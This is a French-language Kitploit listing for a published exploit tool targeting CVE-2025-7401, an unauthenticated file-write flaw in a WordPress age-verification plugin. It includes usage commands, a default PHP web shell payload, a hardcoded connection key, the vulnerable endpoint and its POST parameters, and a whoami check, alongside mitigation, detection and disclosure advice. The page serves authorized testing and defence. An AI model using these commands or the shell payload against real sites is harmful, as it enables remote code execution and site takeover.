Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-7401 — Premium Age Verification / Restriction for WordPress <= 3.0.2 - Lecture et écriture arbitraires de fichiers non authentifiées | Kitploit
Outils/GitHubGitHub/nxploited/cve-2025-7401
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesCollecte d'InformationsTests d'IntrusionRed Teaming
GitHubnxploited/cve-2025-7401

CVE-2025-7401

Premium Age Verification / Restriction for WordPress <= 3.0.2 - Lecture et écriture arbitraires de fichiers non authentifiées

Voir le dépôt
213il y a 11 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-7401

🧾 Premium Age Verification / Restriction for WordPress <= 3.0.2 — Lecture et écriture arbitraires de fichiers sans authentification

📝 Description

Le plugin « Premium Age Verification / Restriction for WordPress » contient un point de terminaison de support à distance insuffisamment protégé dans remote_tunnel.php. Dans les versions concernées, jusqu'à la 3.0.2 incluse, ce point de terminaison peut être détourné pour effectuer des lectures et écritures arbitraires de fichiers sans authentification. Une exploitation réussie peut exposer des informations sensibles ou permettre l'exécution de code à distance.

  • CVE: CVE-2025-7401
  • CVSS: 9.8 (Critique)

⚙️ Aperçu du script

  • Nom du script : CVE-2025-7401.py
  • Objectif : un outil de test destiné aux professionnels de la sécurité autorisés pour valider le comportement d'écriture de fichiers dans le point de terminaison vulnérable du plugin. Le script normalise la cible, encode un extrait PHP fourni par l'utilisateur, envoie une requête POST au point de terminaison vulnérable pour tenter d'écrire un fichier, et vérifie en option le chemin de fichier accessible via le web.

▶️ Exemples d'utilisation rapide

root@kitploit:~
# Basic (uses default connection key and default PHP shell)
python CVE-2025-7401.py -u example.com

# Use HTTPS and custom connection key, skip verification
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify

# Custom PHP payload (authorized testing only)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'

🧭 Options de la ligne de commande

OptionTypeDéfautDescription
-u, --urlstringrequisDomaine cible ou URL partielle. Le script ajoutera le point de terminaison du plugin si nécessaire. Exemples : example.com, https://example.com, example.com/wp-content/plugins/age-restriction/.
-key, --keystring330489965d8266a739442ef890f57805Clé de connexion utilisée par le point de terminaison de support à distance. À remplacer pour les cibles de laboratoire si nécessaire.
-shell, --shellstring<?= system($_GET["cmd"]); ?>Extrait PHP à injecter comme contenu de fichier. À modifier uniquement pour des tests autorisés.
--no-verifyflagfalseSi présent, le script n'effectuera pas la vérification GET facultative du fichier écrit.

📋 Comportement détaillé du script (étape par étape)

ÉtapeActionDétails
1Normalisation de l'entréeAccepte la saisie de l'utilisateur (domaine ou chemin partiel). Garantit le schéma (http:// s'il manque), supprime les barres obliques en double et ajoute /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php si le point de terminaison n'est pas présent.
2Construction des en-têtesConstruit des en-têtes de requête HTTP réalistes (sélection rotative du user-agent, Accept, Referer, Content-Type).
3Encodage de la charge utileEncode en Base64 l'extrait PHP fourni et le place dans file_content.
4Requête d'exploitation POSTEnvoie connection_key, action=save_file, file (chemin serveur) et file_content au point de terminaison remote_tunnel.php normalisé via application/x-www-form-urlencoded.
5Analyse de la réponseTente d'extraire le JSON du corps de la réponse. Si du JSON existe, affiche status et file_path ; sinon, affiche la réponse brute nettoyée.
6Vérification (facultative)Tente une requête GET vers /wp-content/plugins/age-restriction/modules/remote_support/remote_init.php?cmd=whoami pour vérifier si le fichier injecté est accessible et renvoie son contenu. Facultatif via --no-verify.
7RapportAffiche un rapport structuré et lisible incluant le point de terminaison utilisé, le statut HTTP, le JSON analysé (s'il y en a), l'URL de shell attendue et la sortie de vérification tronquée (en cas de succès).

📌 Sorties attendues et leur signification

Champ de sortieSignificationExemple
Point de terminaison cibleURL normalisée finale contactée (chemin complet vers remote_tunnel.php).http://example.com/wp-content/.../remote_tunnel.php
Code de statut HTTPCode de réponse HTTP de la requête POST. 200 indique souvent que la requête a été traitée.200
Statut JSON de la réponseSi le point de terminaison renvoie du JSON, le champ status indique le succès ou l'échec.valid
file_path JSON de la réponseChemin côté serveur renvoyé par le point de terminaison indiquant où le fichier a été écrit (à titre informatif)./var/www/html/wp-content/.../remote_init.php
Réponse bruteCorps de réponse non JSON (nettoyé), comme des notifications ou messages PHP.Notice: ...
URL de shell (attendue)L'URL publique où le fichier injecté serait accessible. À utiliser uniquement pour la vérification lors de tests autorisés.http://example.com/wp-content/.../remote_init.php?cmd=whoami
Statut HTTP de la vérificationStatut HTTP de la vérification GET facultative.200
Corps de vérification (tronqué)Les N premiers caractères du corps de la réponse de vérification (utile pour voir la sortie de la commande).www-data

🛡️ Atténuation et recommandations

  • Mettez immédiatement à niveau le plugin vers une version corrigée fournie par l'éditeur.
  • Restreignez l'accès aux fonctions de support à distance avec une authentification et des contrôles d'autorisation appropriés.
  • Assainissez et validez côté serveur tous les chemins de fichiers et contenus de fichiers fournis par l'utilisateur.
  • Appliquez des permissions strictes sur le système de fichiers empêchant l'utilisateur web de créer des fichiers exécutables dans la racine web.
  • Déployez des règles WAF pour détecter et bloquer les requêtes suspectes vers remote_tunnel.php.

🔎 Détection et analyse forensique

  • Inspectez les journaux du serveur web pour détecter les requêtes POST vers /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php avec les paramètres : action=save_file, file, file_content.
  • Recherchez dans le répertoire du plugin des fichiers inattendus comme remote_init.php.
  • Recherchez des charges utiles encodées en Base64 dans les corps des requêtes POST.
  • Corrélez les horodatages des modifications de fichiers avec les requêtes suspectes.

🤝 Divulgation responsable

Si vous découvrez cette vulnérabilité sur une infrastructure tierce :

  • N'exploitez pas et ne modifiez pas les systèmes de production.
  • Contactez le propriétaire du site ou l'éditeur du plugin de manière privée et sécurisée.
  • Fournissez des étapes reproductibles à l'éditeur et accordez un délai raisonnable pour la remédiation avant toute divulgation publique.

⚖️ Avis légal et de sécurité

L'utilisation non autorisée d'outils de test de vulnérabilités est illégale dans de nombreuses juridictions. Ce dépôt et ce script sont destinés uniquement à la recherche défensive, aux tests autorisés et à la divulgation coordonnée de vulnérabilités. Obtenez toujours une autorisation écrite explicite avant de tester des systèmes que vous ne possédez pas.


❗ Avertissement

L'auteur et les contributeurs déclinent toute responsabilité en cas d'utilisation abusive des informations ou des outils. Utilisez ce matériel uniquement dans les limites légales et éthiques.


Par : Nxploited ( Khaled Alenazi )

Télécharger l’outil